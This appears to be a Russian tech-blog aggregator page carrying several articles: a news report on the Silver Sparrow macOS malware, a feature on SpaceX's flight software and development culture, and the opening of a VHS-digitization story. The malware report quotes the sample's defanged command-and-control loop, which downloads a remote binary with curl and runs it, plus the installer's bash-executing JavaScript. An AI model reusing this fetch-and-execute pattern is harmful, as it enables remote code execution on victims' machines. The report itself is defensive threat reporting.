История геолокации многое говорит о человеке, но трекинговые фирмы собирают гораздо более подробное досье на каждого человека, включая туда информацию с других трекеров, в том числе история действий в интернете, просмотренных страниц и поисковых запросов на персональном компьютере, ноутбуке, планшете и смартфоне; видеоролики, фильмы и передачи, запущенные на экране телевизора и многое другое.

Большинство пользователей не возражает против сбора данных в мобильных приложениях, потому что не осознают масштаба слежки и готовы мириться с ней ради удобства потребления и коммуникации. Самый большой трюк, который когда-либо провернули технологические компании, они убедили общество следить за собой, пишет NY Times.
Подробнее..

На 30 тысячах компьютеров с macOS нашли странный зловред, который ждёт команду

23.02.2021 10:12:21 | Автор: admin


Новая вредоносная программа Silver Sparrow (Серебряный воробей), обнаруженная почти на 30000 компьютерах Mac по всему миру, привлекла внимание специалистов по безопасности. Причин несколько. Во-первых, зловред поставляется в двух бинарниках, в том числе для процессора М1. Во-вторых, исследователи не могут понять цель злоумышленников.

Раз в час заражённые компьютеры проверяют контрольный сервер на предмет новых команд или двоичных файлов для выполнения:

curl hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json > /tmp/version.jsonplutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist<anchor>habracut</anchor>...curl $(/usr/libexec/PlistBuddy -c "Print :downloadUrl" /tmp/version.plist) --output /tmp/verxchmod 777 /tmp/verx/tmp/verx upbuchupsf

Но до сих пор никакой полезной нагрузки не доставлено ни на одну из 30 000 заражённых машин. Отсутствие полезной нагрузки предполагает, что вредоносное ПО может начать действовать, как только будет выполнено неизвестное условие.

Любопытно, что вредоносное ПО поставляется с механизмом полного удаления, который обычно используется в профессиональных разведывательных операциях. Однако до сих пор нет никаких признаков использования функции самоуничтожения, что ставит вопрос о том, зачем этот механизм.

Помимо этих вопросов, вредоносная программа примечательна наличием бинарника для чипа M1, представленного в ноябре 2020 года. Это всего лишь вторая известная вредоносная программа macOS для M1. Двоичный файл ещё более загадочен, потому что для выполнения команд использует JavaScript API установщика macOS. Это затрудняет анализ содержимого установочного пакета или того, как этот пакет использует команды JavaScript. После установки зловред запускается командой system.run.

function bash(command) {         system.run('/bin/bash', '-c', command)    }    function appendLine(line, file)    {        bash(`printf "%b\n" '${line}' >> ${file}`)    }    function appendLinex(line, file)    {        bash(`"echo" ${line} >> ${file}`)    }    function appendLiney(line, file)    {        bash(`printf "%b" '${line}' >> ${file}`)    }


Silver Sparrow поставляется в двух версиях одна с двоичным кодом в формате mach-object, скомпилированным для процессоров Intel x86_64, а другая с двоичным кодом Mach-O для M1

Malware version 1
File name: updater.pkg (installer package for v1)
MD5: 30c9bc7d40454e501c358f77449071aa

Malware version 2
File name: update.pkg (installer package for v2)
MD5: fdd6fb2b1dfe07b0e57d4cbfef9c8149

Командный сервер
hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json

После исполнения Silver Sparrow оставляет два скрипта на заражённом диске: /tmp/agent.sh и ~/Library/Application Support/verx_updater/verx.sh.

Вредоносная программа обнаружена в 153 странах, преимущественно в США, Великобритании, Канаде, Франции и Германии. Использование Amazon Web Services и сети доставки контента Akamai обеспечивает надёжную работу командной инфраструктуры, а также затрудняет блокировку серверов. Зловред открыли исследователи из компании Red Canary.

Хотя для Silver Sparrow ещё не вышло никакой полезной нагрузки, его считают достаточно серьёзной угрозой. Программа уже сильно распространилась, она совместима с процессорами М1 и выполнена на очень высоком техническом уровне: Silver Sparrow представляет собой достаточно серьёзную угрозу, для доставки потенциально эффективной полезной нагрузки в любой момент, пишут исследователи Red Canary в своём блоге. Учитывая эти причины для беспокойства, в духе прозрачности мы хотели как можно скорее поделиться всей информацией с индустрией информационной безопасности.

До сих пор исследователи не встречали зловреды подобного типа. Этот экземпляр они назвали 'bystander binary', то есть бинарник-наблюдатель. Любопытно, что при выполнении двоичный файл x86_64 отображает слова Hello World!, а бинарник M1 выдаёт You did it!. Исследователи подозревают, что файлы являются некими заполнителями, передают что-то установщику. Компания Apple отозвала сертификат разработчика для обоих бинарников.

Silver Sparrow всего лишь вторая вредоносная программа, написанная нативно для нового чипа Apple M1. Первым стал рекламный зловред GoSearch22 на прошлой неделе.

Нативный код M1 работает на новой платформе быстрее и надёжнее, чем код x86_64, потому что не нуждается в трансляции. Многие разработчики обычных приложений macOS до сих пор не завершили процесс перекомпиляции для M1.

После установки Silver Sparrow ищет, с какого URL был загружен установочный пакет, чтобы операторы ботнета знали, какой канал распространения наиболее эффективен. Пока остаётся неясным, как именно и где распространяется вредоносное ПО и как оно устанавливается. Однако проверка успешных URL предполагает, что одним каналом распространения может быть поисковая выдача, то есть установщики, скорее всего, выдают себя за законные приложения.

Одна из самых впечатляющих вещей в Silver Sparrow количество заражённых ею компьютеров Mac. Коллеги из Malwarebytes обнаружили, что Silver Sparrow установлен на 29139 конечных точках macOS по состоянию на 17февраля 2021 года. Это значительное достижение.

И это только компьютеры, доступные для антивируса MalwareBytes, так что реальное число намного выше. Это ещё раз показывает, что вредоносное ПО для macOS становится всё более распространённым и обычным явлением, несмотря на все усилия Apple, говорит Патрик Уордл (Patrick Wardle), эксперт по безопасности macOS.
Подробнее..

Как SpaceX пишет софт

30.11.2020 10:17:56 | Автор: admin

Даглас Хёрли и Боб Бенкен в капсуле Индевор

Компания SpaceX ведёт стремительную разработку проектов сразу по нескольким направлениям. Первая ступень ракеты Falcon 9 после запуска полезной нагрузки в космос возвращается на Землю для повторного использования, подобное тестируют для прототипов Starship. На МКС корабль Crew Dragon доставляет экипаж, готовится второе поколение грузовиков Dragon. Рой спутников связи Starlink выдаёт больше сотни мегабит в секунду для реальных пользователей открытого бета-теста.

Все эти проекты требуют высокой степени автоматизации, за которую отвечает команда разработки программного обеспечения. Про неё специалисты SpaceX рассказывают с удовольствием: это не только важно для привлечения соискателей на открытые вакансии, но и интересно для всех остальных.

Сложность космоса


14 декабря 1966 года в беспилотном испытательном запуске Союзакорабль 7К-ОК1 встал на стартовой площадке: не сработала зажигалкана одном из двигателей. Автоматика остановила последовательность действий запуска до того, как ракета успела отделиться от поверхности стартового стола. Персонал приблизился к ракете для её осмотра и оценки возможности повторного запуска. Внезапно сработала система аварийного спасения (САС) Союза. Её пороховые двигатели бережно вынесли спускаемый аппарат на высоту 700 метров и отдали его во власть парашютов, но также зажгли разлившуюся горючую жидкость системы терморегулирования приборного отсека, который остался на Земле. Верхушка ракеты загорелась. Как вспоминает Черток, память о катастрофе Неделина заставила людей покидать стартовую площадку бегом. Погиб один человек.

Выяснение причин срабатывания САС на неподвижной ракете началось ещё до тушения стартовой площадки. Во время полёта ракета постоянно сравнивает отклонения инерциальной системы отсчёта от расчётной траектории. Если разница слишком велика, то срабатывает САС. Стоящая на стартовой площадке ракета всё же движется: она вращается с Землёй, а гироскопы привязанык звёздам. При проектировании аварийных систем Земля предполагалась неподвижной. За 27 минут набежало примерно 8 градусов, и на 32 пиротехнических заряда САС поступил сигнал зажигания.

Этот баг упустили из виду даже без сложностей современных компьютеров. Сегодня электроникой управляются все критические системы любого космического аппарата. Это уже даже не самый дорогой дефис в истории зонда Маринер-1 1962 года: в современных системах пространство для ошибок исчисляется десятками, сотнями тысяч строк кода. Любой заметный сбой программного обеспечения вызывает деградацию качества работы или вовсе приводит к потере аппарата.

Кажется, что зрелость направления и сама культура аэрокосмической разработки свели на нет любые детские ошибки. Но это не так. До сих пор ракеты взрываются с ошибкой преобразования переменной, марсоходы зависают с инверсией приоритета, а орбитальные зонды падают из-за значения не в той системе измерения. Даже Старлайнер, прямой конкурент Crew Dragon, не долетел до МКС из-за качества софта.


SpaceX выложила этот видеоролик с любовью к своей культуре проб и ошибок

На этом фоне любопытно выглядит пример SpaceX. Эта относительно молодая компания с заметными достижениями не случилась бы без программного обеспечения, которое быстро разрабатывают и тестируют небольшие команды.

Сокол на x86


Проблемы вызывает не только надёжность кода космос враждебен даже к железу. На Земле от радиации мы защищены магнитным полем и атмосферой. В космосе поток высокоэнергетических частиц с лёгкостью превратит единицу в ноль в ячейке памяти или вообще выведет из строя компоненты. Космическая микроэлектроника как минимум требует специальной сертификации, а иногда прибегает к специальным микросхемам, к примеру, на технологиях полупроводников кремния на сапфире.

В SpaceX игнорируют сформировавшееся щепетильное отношение к космическому оборудованию. Компания с момента основания выделялась своей любовью к относительно дешёвым компонентам. К примеру, в 2005 году журналисты сообщали, что в ракете Falcon 1 компьютеры общались по обычному кабелю Ethernet.

Как рассказывали (1, 2) инженеры SpaceX на конференции GDC 2015, на ракете Falcon 9 на каждой из ступеней установлены по три двухъядерных компьютера архитектуры x86. В каждом компьютере на каждом из двух ядер независимо друг от друга работает операционная система с полётным софтом. Также в ракете установлены микроконтроллеры архитектуры PowerPC. Они управляют разными исполнительными механизмами: двигателями, решётчатыми рулями и так далее.

Всё это оборудование объединено в систему actor-judge.

  • Почти всё выражается в традиционном для ТАУ виде контура управления: много раз в секунду с датчиков приходят данные, по ним и прошлым состояниям системы принимается решение, компьютер выдаёт сигналы устройствам.
  • Ядра выполняют вычисления независимо друг от друга. Результат работы двух ядер сравнивается. Если на обоих ядрах получился разный результат, этот инстанс команду не посылает.
  • Микроконтроллеры получают команды от трёх разных компьютеров. Микроконтроллер решает, кому из трёх верить, и выполняет команду. При рассинхронизации компьютеров контроллер положится на тот, который был самым точным в прошлом.
  • Успешный полёт Falcon 9 возможен всего с одним оставшимся компьютером из трёх.

Такая архитектура как упрощает тестирование на Земле, так и обеспечивает необходимый уровень устойчивости к радиации. Не нужны специальные дорогие микросхемы, у которых к тому же может оказаться архитектура, знакомая лишь небольшому числу разработчиков на рынке труда.

Управляющие компьютеры тестируют на так называемом стенде table rocket, ракете на столе. Мозги Falcon 9 раскладывают на плоской поверхности и соединяют так, как они работают в реальной ракете. Затем специалисты запускают полный симулированный полёт, следят за поведением системы, её производительностью и возможными отказами. Во время симуляции могут отключить один из полётных компьютеров, чтобы понять, как на это ответит ракета.

Также всю систему управления в состоянии виртуализировать одна рабочая станция, что делает возможными массовое автоматизированное тестирование и проверку кода для полёта всего за сутки.

Похожая система с тройной избыточностью установлена в космическом корабле Dragon, говорили на GDC 2015. В ответах 2020 года сотрудники туманно намекнули, что кораблём Crew Dragon управляет отдельный четырёхъядерный процессор, сравнимый по вычислительной мощности со смартфоном пятилетней давности.

Вообще, SpaceX не отчитывается о точных моделях процессоров. Возможно, контроллеры PowerPC это радиационно устойчивый RAD750, хорошо зарекомендовавший себя в марсоходах и зондах, а процессоры x86 промышленные встраиваемые решения с низким тепловыделением и скромной производительностью.

Но для космоса многого не нужно. Сама МКС управляется процессором Intel 80386SX-20 с математическим сопроцессором 80387. Даже на момент запуска станции это был продукт десятилетней давности.

В космос в браузере


30 мая компания SpaceX впервые запустила людей на орбиту. Наконец появилась вторая опция доставки экипажа на Международную космическую станцию. С 2011 года единственным решением для этого были российские Союзы.

Аудитория онлайн-трансляции обратила внимание, насколько корабль Crew Dragon выглядел крупнее трёхместной капсулы Союза. При схожем внутреннем объёме у корабля SpaceX 4 метра диаметра против союзовских 2,2 м. SpaceX изначально рекламировала корабль как семиместный, но НАСА будет запускать на пилотируемых Драконах четырёх астронавтов.

Кроме физических различий наиболее заметно было то, как управляли кораблём люди. Союз не отходит от традиций авиационно-космического машиностроения: экипаж нажимает на тумблеры и клавиши, а сигнальные табло выводят информацию. Крю Дрэгон всё делает по-своему. Для футуристичного корабля SpaceX основной элемент тачскрин.

Экраны Crew Dragon работают на браузерном движке Chromium, то есть интерфейсы созданы на HTML с использованием веб-компонентов, JavaScript и CSS. Внутри компании написали собственную реактивную библиотеку. Разработка интерфейсов идёт по методологии Agile с высокой планкой для покрытия юнит-тестами.


Скриншот браузерного симулятора стыковки.

Ещё до первого пилотируемого запуска SpaceX опубликовала браузерный симулятор стыковки Крю Дрэгона к МКС. Симулятор начинался как хобби двух разработчиков компании. Затем его решили закончить и опубликовали для широкой публики.

Симулятор остаётся симулятором: ничего общего с реальным кодом у него нет. Хотя оба продукта писала одна и та же команда, это два абсолютно разных проекта.

Всё это не значит, что космический корабль летает на JavaScript. Chromium на корабле используется только как средство отрисовки элементов пользовательского интерфейса. Слой взаимодействия с полётным программным обеспечением имеет все необходимые меры резервирования и находится за пределами дисплеев, говорят сотрудники SpaceX. Бэкенд написан на C/C++.

Обычный браузерный движок в космическом корабле дерзкое решение. В ответах сотрудники SpaceX заверяли, что вне зависимости от технологического стэка стандарты разработки одинаковы, принципы написания надёжного и производительного ПО не меняются, а для понимания возможных ошибок тестирование идёт под разнообразными условиями. На случай отказов есть соответствующие уведомления и процедуры. Наконец, к тестированию добавляются сотни часов обучения астронавтов на полётных симуляторах на Земле.

На всякий случай под тач-дисплеями расположены физические клавиши. Они предназначены для критических ситуаций, к примеру, пожара в кабине корабля. Также есть физические кнопки начатьи прерватьдля большинства операций, которые можно вызвать с дисплеев. НАСА разработало специальные требования к самим экранам, и решение SpaceX им соответствует.

Сотрудники SpaceX также объясняли, как они пришли к такому внешне нетрадиционному для аэрокосмической отрасли решению. Проект начинался как прототип для демонстрации образца дизайна для НАСА. Затем прототип с успехом запустили на реальном полётном железе. Разработчикам понравились современные функции, которые присутствовали в браузерном движке, да и разработчиков под него на рынке достаточно.


Диаграмма показывает, как код на JavaScript изолирован от основных систем управления телескопа Джеймс Уэбб

Если отвлечься от опыта SpaceX, то ничего возмутительного в выборе JavaScript для космической области нет. В случае космического телескопа Джеймс Уэбб код на JS будет выполняться прямо на аппарате. Он не будет напрямую контролировать, к примеру, двигатели, он будет лишь вызывать другие программы.

Почему в космосе нет звука?


Потому что ракета летает на Linux.

Софт Falcon 9 регулярно обновляют. Почти каждый запуск ракета летит с незначительно обновлённым кодом. Хотя обновления настолько часты, базу под каждый конкретный запуск специально не адаптируют. Этим занимаются другие отделы SpaceX, которые вносят свои коррективы в полётные конфиги: задают переменные ветра в день запуска, меняют пределы отказоустойчивости и так далее.

Crew Dragon управляется операционной системой Linux с патчем PREEMPT_RT для работы в реальном времени. В SpaceX не используют какой-то стандартный сторонний дистрибутив. В компании собрали собственное ядро и связанные с ним утилиты. За годы разработки ядро почти не модифицировали. Были лишь мелкие изменения и несколько специализированных драйверов для работы с аппаратным обеспечением.

Среди используемых проектов с открытым исходным кодом загрузчик операционной системы Das U-Boot, система сборки дистрибутива Buildroot, стандартная библиотека С++ и библиотека языка C Musl. Но вообще в SpaceX используют не так много написанного вне компании софта и выбирают открытые проекты только с максимально возможным качеством.

В SpaceX тесты пишут на Python, тестируют в LabVIEW, а летают на С++. При написании в С++ используют объектно-ориентированные техники языка, хотя предпочитают сохранять всё как можно более простым.

SpaceX на уровне кода закладывает возможность нормальной работы с потерей маршевых или маневровых двигателей с компенсацией алгоритмом. В конечные автоматы заложены всевозможные аварийные ситуации. К примеру, в конечный автомат корабля Дрэгон заложен автономный переход от сближения со станцией к уходу, если наблюдаются некоторые отказы.

Сотрудники SpaceX говорят, что в Dragon нет ИИ (вероятно, подразумеваются нейросетевые алгоритмы), хотя какое-то машинное зрение для навигации используется. Разработчики пояснили, что не исключают использование программ с машинным обучением когда-нибудь в будущем.

Starlink


Проект спутникового Интернета Starlink это ещё больше компьютеров. В каждом запуске ракета Falcon 9 выводит на орбиту 60 спутников, которые содержат более 4 тысяч компьютеров на Linux. SpaceX вывела на околоземную орбиту десятки тысяч нод на Linux и более тысячи микроконтроллеров.


Анимация показывает, как раскрывается солнечная панель спутника

Полгода назад Starlink генерировал около 5 ТБ телеметрии в сутки, и группировка стала лишь крупнее. Растёт число спутников, идёт работа над уменьшением объёма пересылаемых данных. Чтобы снизить объём данных, которые хранятся на борту и пересылаются на Землю, часть проблем диагностируются на самом устройстве.

Каждый из спутников Starlink снабжён двигателем на эффекте Холла. За счёт него спутник занимает нужную позицию в рое и уходит от столкновения с космическим мусором. Но эти манёвры ещё нужно правильно выполнить, а отдел управления у крупнейшей группировки спутников крошечный.

Поэтому программисты озадачились тем, как избегать столкновений и управлять положением спутников автоматически. В разработанной системе спутникам задают, в какое окно нужно попасть и они самостоятельно отправляются туда. Также несколько раз в сутки спутники получают с Земли данные по сближениям с другими объектами на орбите. Затем спутники самостоятельно вычисляют нужные манёвры и уходят от космического мусора.

Дублирование внутренних систем в случае спутника Starlink выполняется лишь до определённого предела. Из-за общего числа спутников отряд не заметит потери бойца. При отказе одной ноды пользователь на Земле будет подключаться к другому видимому в небе спутнику.

При разработке и тестировании каждый из спутников флотилии Starlink рассматривают не как отдельный спутник, а как сервер в дата-центре. Часть задач критически важна: это управление, обновление программного обеспечения, питание и безопасность. Под эти приложения пишутся отдельные тесты. Многие другие функции допускают более гибкий подход, похожий на разработку веб-сервисов. Поэтому команда разворачивает тестовый билд на небольшое число спутников и сравнивает, как они себя ведут в сравнении с остальной группировкой. Далее при возникновении проблем софт улучшают или откатываются к предыдущей версии.

Этот процесс тестирования нужен для быстрого улучшения системы. Разработчики SpaceX утверждают, что много раз так удавалось найти и исправить отказы, которые на Земле предугадать было невозможно.

Спутник Starlink пропускает через себя пользовательские данные, и компьютерный взлом угрожает прослушкой. В SpaceX предусмотрели этот случай и добавили оконечное шифрование. Также каждый из компонентовспутники, шлюзы и пользовательские терминалыисполняет только подписанный код, поэтому надолго в системе злоумышленнику не прописаться.

Культура разработки


Большая часть инженеров программного обеспечения SpaceX работает в Сиэтле (штат Вашингтон) и Хоторне (Калифорния), часть из офисов в Техасе.


Команда разработчиков ПО SpaceX, 2013 год

Традиционную аэрокосмическую отрасль повергает в шок и скорость разработки, и размер подразделений SpaceX. Как в 2019 году заявил (подкаст, отметка 44:00) главный директор по программному обеспечению ВВС США Николас Чайллан, там, где у государственных агентств потребовалось бы как минимум 2,5 тысячи программистов, SpaceX нанимает 50. При этом команда разработчиков пишет софт на девять разных аппаратов и проверяет код за 24 часа.

SpaceX пытается привлекать разработчиков из игровой индустрии. На GDC 2015 представители компании говорили, что у обладетелей диплома с направлением computer science навыков управления памятью нет. Неожиданно, но для космоса подходят темп работы и методы оптимизации игровых разработчиков. Как говорит Илон Маск, по сравнению с MMO стыковка двух кораблей это элементарно просто.

В рамках AMA на Реддите в 2013 году сотрудники рассказали про структуру отделов разработки программного обспечения.

  • В команде полётного программного обеспечения 7 лет назад было 35 человек. Примеры деятельности отдела: программы для ракеты Falcon 9, прототипа для отработки посадки первой ступени Grasshopper и космического корабля Dragon. Команда пишет основные компоненты для этих платформ, тестирует полётный код, разрабатывает программное обеспечение для связи и анализа данных на наземных станциях. Иногда эти сотрудники помогают в местном ЦУПе обеспечивать полёт.
  • С продуктами отдела разработки внутреннего корпоративного софта сталкиваются все сотрудники SpaceX. Основное направление внутреннее веб-приложение компании. Через него, к примеру, создают заказы на оборудование, проводят инвентаризацию и отслеживают часы работы. Для всего этого есть сторонние решения, но в SpaceX предпочитают самописную систему. Стэк разработки типичное веб-программирование начала десятых годов: C#, MVC4, EF, SQL; Javascript, Knockout, Handlebars, LESS; REST API, положительно охарактеризованный сотрудниками как super sexy.
  • В 2013 году 9 человек писали софт для полётных компьютеров, которые не летают. Чтобы управлять космическим аппаратом из современного ЦУПа, нужно передавать много данных в высокораспределённых системах. Эта команда разработчиков реализует сложные пользовательские интерфейсы со строгими требованиями.
  • Команда тестирования авионики работает с конструкторами авиационной электроники и пишет программы для тестирования аппаратного обеспечения. Такой софт обычно работает во время механических тестов в реальной среде. Цель этого отдела автоматизация поиска проблем с оборудованием.

Компания постоянно нанимает разработчиков и инженеров, и далеко не для каждой позиции нужно специальное образование. В офисах SpaceX звучит много разных акцентов, в том числе с пространства бывшего СССР. В компанию могут нанять не только обладателя американского паспорта, хотя ограничения режима контроля экспорта технологий военного назначения существуют. Для найма иностранцу потребуется вид на жительство грин-карта США. На её получение с нуля уйдёт несколько лет. Если гринка уже есть, то вопрос лишь в умении показать уровень квалификации на собеседовании.

Глава и технический директор SpaceX Илон Маск известен своей нелюбовью к 40-часовым рабочим неделям. Он неоднократно заявлял, что работает по 80120 часов в неделю. Каков поп, таков и приход. Частая жалоба на Glassdoor про SpaceX плохой баланс жизни и работы. В анонимных отзывах сотрудники и стажёры говорят про частое выгорание и ставшие нормой 12 часовые смены.
Подробнее..

Перевод Мой восьмилетний квест по оцифровке 45 видеокассет. Часть 1

23.10.2020 12:08:13 | Автор: admin
За последние восемь лет я перевозил эту коробку с видеокассетами в четыре разные квартиры и один дом. Семейные видеозаписи из моего детства.



Спустя более 600 часов работы я, наконец, оцифровал и нормально их организовал, так что кассеты можно выбросить.

Вот как сейчас выглядит отснятый материал:




Все семейные видео оцифрованы и доступны для просмотра с приватного медиасервера

Получилось 513 отдельных видеоклипа. У каждого название, описание, дата записи, теги для всех участников с указанием возраста на момент записи. Всё лежит на приватном медиасервере, доступ к которому есть только у членов семьи, а хостинг стоит меньше 1 доллара в месяц.

Эта статья рассказывает обо всём, что я сделал, почему для этого понадобилось восемь лет и как добиться аналогичного результата гораздо проще и быстрее.

Первая наивная попытка


Примерно в 2010 году моя мама купила какой-то конвертер VHS в DVD и прогнала через него все наши домашние видео.


Оригинальные DVD, которые записала мама (не знаю, что случилось с пропавшими буквами)

Проблема в том, что мама сделала только один комплект DVD. Все родственники живут в разных штатах, так что было делало неудобно передавать диски по кругу.

В 2012 году сестра подарила мне эти DVD-диски. Я скопировал видеофайлы и выложил всё в облачное хранилище. Проблема решена!


DVD-рипы семейных видео в хранилище Google Cloud

Через несколько недель я спросил, смотрел ли кто эти записи. Оказалось, что никто не смотрел. Даже я не смотрел. В эпоху YouTube глупо скачивать трёхчасовые файлы неизвестного содержания в поисках интересных кадров.

Только моя мама обрадовалась: Отлично, сказала она, теперь можно, наконец, выбросить все эти кассеты?

Ой-ёй. Это страшный вопрос. А если мы пропустили какие-то записи? Что, если кассеты можно оцифровать с более высоким качеством? Что, если на этикетках важная информация?

Мне всегда было неудобно выбрасывать оригиналы, пока нет абсолютной уверенности, что видео скопировано с максимально возможным качеством. Таким образом, пришлось самому взяться за дело.

Я даже не подозревал, во что ввязываюсь.

Звучит не так уж и сложно


Если вы не понимаете, почему это заняло у меня восемь лет и сотни часов, я вас не виню. Я тоже думал, что всё будет легко.

Вот как выглядит процесс оцифровки от начала до конца:



Точнее, так он выглядит в теории. Вот как получилось на практике:



Большую часть времени заняли переделки уже сделанного. Я заканчивал один этап, а потом через один или два этапа находил какой-то недостаток в технике. Приходилось возвращаться и переделывать. Например, я снял видео с 20 лент, прежде чем понял, что звук немного не синхронизирован. Или после нескольких недель редактирования обнаружил, что экспортирую видео в формате, который не поддерживает стриминг в интернете.

Чтобы сохранить рассудок читателя, я излагаю процесс так, будто он планомерно двигался вперед, чтобы не заставлять вас постоянно отпрыгивать назад и всё переделывать, как приходилось мне.

Шаг 1. Захват видео


Ладно, вернёмся в 2012 год. Маме очень хотелось выбросить кассеты, которые она хранила двадцать лет, поэтому при первой встрече она сразу вручила мне огромную картонную коробку. Так начался мой квест по оцифровке.

Очевидным решением было поручить работу профессионалам. Множество компаний занимаются оцифровкой, а некоторые специализируются именно на домашнем видео.

Но я довольно чувствительно отношусь к приватности и мне не хотелось, чтобы незнакомые люди рассматривали наше семейное видео с интимными моментами личной жизни, включая моё обучение горшку (в соответствующем возрасте; ничего странного!). И ещё я думал, что в оцифровке нет ничего сложного.

Спойлер: это оказалось действительно трудно.

Первая попытка захвата видео


У отца всё ещё хранился старый семейный видеомагнитофон, поэтому я попросил к следующему семейному ужину откопать его из подвала. Я купил дешёвый адаптер RCA-USB на Amazon и приступил к делу.


Устройство захвата видео TOTMC, первое из множества устройств A/V, которые я купил во время многолетнего квеста

Для обработки видео с устройства захвата USB я использовал программу VirtualDub, версия 2012 года немного устарела, но не критично.


Кадры в программе VirtualDub, как я в возрасте четырёх лет читаю книгу своему отцу

Напасть с искажением звука


Когда я начал процесс редактирования, то заметил небольшой рассинхрон аудио и видео. Ладно, без проблем. Я могу немного сдвинуть звук.

Через десять минут он снова рассинхронизировался. Разве я мало сдвинул его в первый раз?

До меня постепенно дошло, что аудио и видео не просто рассинхронизированы, они реально записываются с разной скоростью. На протяжении всей ленты они расходятся всё больше и больше. Для синхронизации приходилось вручную настраивать звук каждые несколько минут.


Если ваша установка захватывает звук и видео с разной скоростью, то единственным решением является коррекция звука вручную каждые несколько минут

Представляете, как трудно отличить звук на 10 миллисекунд раньше или на 10 миллисекунд позже? Это действительно трудно! Судить сами.

На этом видео я играю со своим бедным, терпеливым котёнком, которого звали Black Magic. Звук немного не синхронизирован. Определите, он опережает картинку или идёт с опозданием?


Пример видеоклипа с рассинхроном звука и картинки

В этом месте Black Magic прыгает, фрагмент с замедлением в пять раз:


Рассинхрон звука и картинки, замедление в пять раз

Ответ: звук идёт с опозданием в несколько миллисекунд.

Может, потратить лишнюю сотню долларов вместо сотен часов личного времени?


Одна только коррекция звука потребовала многих часов утомительной, сводящей с ума работы. В конце концов мне пришло в голову, что можно избежать рассинхрона, если использовать более качественное и дорогое устройство видеозахвата. После некоторого исследования я купил новое на Amazon:


Моя вторая попытка приобрести устройство для видеозахвата

Даже с новым устройством рассинхрон никуда не исчез.

Видеомагнитофон с приставкой супер


Может, проблема в видеомагнитофоне. На форумах по оцифровке говорили, что рассинхрона не будет на видеомагнитофоне с корректором времени (time-based corrector, TBC), эта функция есть на всех видеомагнитофонах Super VHS (S-VHS).

Ну конечно! Зачем я возился с дурацким обычным видеомагнитофоном, когда есть супер-VCR, который решает проблему?

Никто уже не производит видеомагнитофоны S-VHS, но они по-прежнему доступны на eBay. За 179 долларов я купил модель JVC SR-V10U, которая вроде хорошо подходит для оцифровки VHS:


Винтажный видеомагнитофон JVC SR-V10U, который я купил на eBay за 179 долларов

Супер-видеомагнитофон пришёл по почте. После нескольких месяцев борьбы с рассинхроном звука я был вне себя от радости, что появилось оборудование, которое решит все мои проблемы.

Я открыл коробку, всё подключил но звук по-прежнему записывался с другой скоростью. Эх.

Утомительный поиск, устранение неисправностей и многолетняя борьба


Я приступил к жалким попыткам устранить неполадки. На это было больно смотреть. Каждый раз я вытаскивал всё оборудование из шкафа, заползал на коленях за рабочий стол, чтобы всё подключить, пытался захватить видео и опять наблюдал, что ничего не получается.

Вот мне попался случайный пост на форуме от 2008 года, где говорится об установке какого-то странного китайского драйвера без подписи Это ужасная идея, но я в отчаянии. Впрочем, он не помог.

Я пробовал разные программы для оцифровки. Купил специальную кассету VHS, чтобы прочистить магнитные головки видеомагнитофона. Купил третье устройство видеозахвата. Ничего не помогло.

Я неизменно сдавался, всё отключал и прятал оборудование в шкаф ещё на несколько месяцев.

Сдаёмся и отдаём кассеты профессионалам


Наступил 2018 год. Я перетаскал видеокассеты и тонны оборудования по четырём разных квартирам и собирался переехать из Нью-Йорка в Массачусетс. Я не мог найти силы снова их везти, потому что уже понял, что самостоятельно никогда не закончу этот проект.

Я спросил семью, можно ли отдать кассеты в фирму по оцифровке. К счастью, никто не возражал всем хотелось снова увидеть записи.

Я: Но это значит, что какая-то компания получит доступ ко всем нашим домашним видео. Тебя это устраивает?
Сестра: Да мне по барабану. Тебя одного это беспокоит. Погоди, так ты с самого начала мог просто заплатить кому-то?
Я: Э-э-э...

Оцифровка всех 45-ти кассет стоит $750. Кажется дорого, но к тому моменту я бы заплатил сколько угодно, лишь бы больше не разбираться с этим оборудованием.

Когда они отдали файлы, качество видео было однозначно лучше. На моих кадрах всегда были видны искажения на краях кадра, но специалисты всё оцифровали вообще без искажений. Самое главное, что аудио и видео идеально синхронизированы.

Вот видео со сравнением профессиональной оцифровки и моих доморощенных попыток:


Сравнение профессиональной и самодельной оцифровки в видеоролике, где мама снимает мою первую попытку программирования

Шаг 2. Редактирование


В домашних съёмках около 90% материала скучны, 8% интересны, а 2% потрясающие. После оцифровки у вас ещё много работы.

Редактирование в Adobe Premiere


На кассете VHS длинный поток видеоклипов перемежается пустыми участками. Чтобы отредактировать ленту, вы должны определить, где начинается и заканчивается каждый клип.

Для редактирования я использовал Adobe Premiere Elements, которая стоит меньше $100 за пожизненную лицензию. Его важнейшая фича масштабируемая временная шкала. Она позволяет быстро найти границы сцены, а затем увеличить масштаб, чтобы найти точный видеокадр, где начинается или заканчивается клип.


Важнейшая временная шкала с масштабированием в Adobe Premiere Elements

Проблема с Premiere заключается в том, что процесс требует постоянных действий вручную, но при этом оцифровка и экспорт занимают много времени. Вот моя последовательность операций:

  1. Открыть сырой файл, который содержит 30-120 минут видео.
  2. Отметить границы отдельного клипа.
  3. Экспортировать клип.
  4. Подождать 2-15 минут, пока завершится экспорт.
  5. Повторять шаги 2-4, пока не закончится лента.

Долгое ожидание означало, что я постоянно переключался между редактированием видео и какой-то другой задачей, переводя внимание туда-сюда в течение нескольких часов.

Другим недостатком была невоспроизводимость. Исправить небольшую ошибку было почти так же трудно, как сделать всё с нуля. Это сильно ударило по мне, когда дело дошло до публикации видео. Только тогда я понял, что для стриминга в интернете нужно было изначально экспортировать видео в формат, который нативно поддерживают веб-браузеры. Передо мной встал выбор: перезапустить утомительный процесс экспорта сотен клипов или перекодировать экспортированные видео в другой формат с ухудшением качества.

Автоматизация редактирования


После кучи времени, потраченного на ручную работу, я подумал, можно ли здесь как-то применить ИИ. Кажется, определение границ клипов подходящая задача для машинного обучения. Я знал, что точность будет не идеальной, но пусть он выполнит хотя бы 80% работы, а я исправлю последние 20%.

Я экспериментировал с инструментом под названием pyscenedetect, который анализирует видеофайлы и выдаёт временные метки, где происходят изменения сцены:

